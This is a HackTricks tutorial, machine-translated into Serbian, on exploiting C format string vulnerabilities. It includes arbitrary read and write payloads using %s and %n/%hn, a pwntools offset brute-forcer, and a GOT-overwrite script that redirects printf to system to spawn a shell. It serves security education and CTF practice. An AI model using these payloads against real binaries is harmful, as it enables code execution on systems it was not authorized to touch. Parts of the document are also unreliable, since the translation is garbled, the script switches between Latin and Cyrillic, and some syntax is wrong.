Format Strings

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

U C printf je funkcija koja se može koristiti za štampanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti za zamenu formatera iz sirovog teksta.

Druge ranjive funkcije su sprintf() i fprintf().

Ranjivost se pojavljuje kada se tekst napadača koristi kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos koji zloupotrebljava printf format string mogućnosti da čita i piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo). Na ovaj način će moći da izvrši proizvoljan kod.

Formatters:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Primeri:

  • Ranjivi primer:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalna upotreba:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Sa nedostajućim argumentima:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf ranjiv:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Pristupanje Pokazivačima

Format %<n>$x, gde je n broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:

printf("%x %x %x %x")

и могли бисте читати од првог до четвртог параметра.

Или бисте могли да урадите:

printf("$4%x")

и читајте директно четврту.

Обратите пажњу да нападач контролише параметар printf, што у основи значи да ће његов унос бити у стеку када се позове printf, што значи да би могао да упише специфичне адресе у меморији у стек.

Нападач који контролише овај унос, моћи ће да дода произвољну адресу у стек и натера printf да им приступи. У следећем одељку биће објашњено како користити ово понашање.

Произвољно читање

Могуће је користити форматор %n$s да натера printf да добије адресу која се налази на n позицији, следећи је и одштампа као да је то стринг (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла 0x8048000, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.

Pronađi offset

Da biste pronašli offset do vašeg ulaza, možete poslati 4 ili 8 bajtova (0x41414141) praćenih %1$x i povećavati vrednost dok ne dobijete A's.

Brute Force printf offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Koliko je korisno

Arbitrarna čitanja mogu biti korisna za:

* **Ispis** **binarne** datoteke iz memorije
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrarno Pisanje**

Formatirac **`$<num>%n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`$<num>%n`** piše proizvoljan broj na proizvoljnu adresu.

Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Međutim, imajte na umu da se obično za pisanje adrese kao što je 0x08049724 (što je OGROMAN broj za pisanje odjednom), koristi $hn umesto $n. Ovo omogućava da se napiše samo 2 Bajte. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.

Stoga, ova ranjivost omogućava pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).

U ovom primeru, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:

Mi ćemo prepisati funkciju koja prima svoje argumente od korisnika i usmeriti je na system funkciju. Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo napišete 2Bajta adrese, a zatim ostala 2. Da biste to uradili, koristi se $hn.

  • HOB se poziva na 2 viša bajta adrese

  • LOB se poziva na 2 niža bajta adrese

Zatim, zbog načina na koji funkcioniše format string, morate prvo napisati manji od [HOB, LOB] i zatim drugi.

Ako je HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ako je HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Šablon

Možete pronaći šablon za pripremu eksploita za ovu vrstu ranjivosti u:

Ili ovaj osnovni primer iz ovde:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se piše u adrese steka i iskoristi ranjivost tipa buffer overflow.

Other Examples & References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Last updated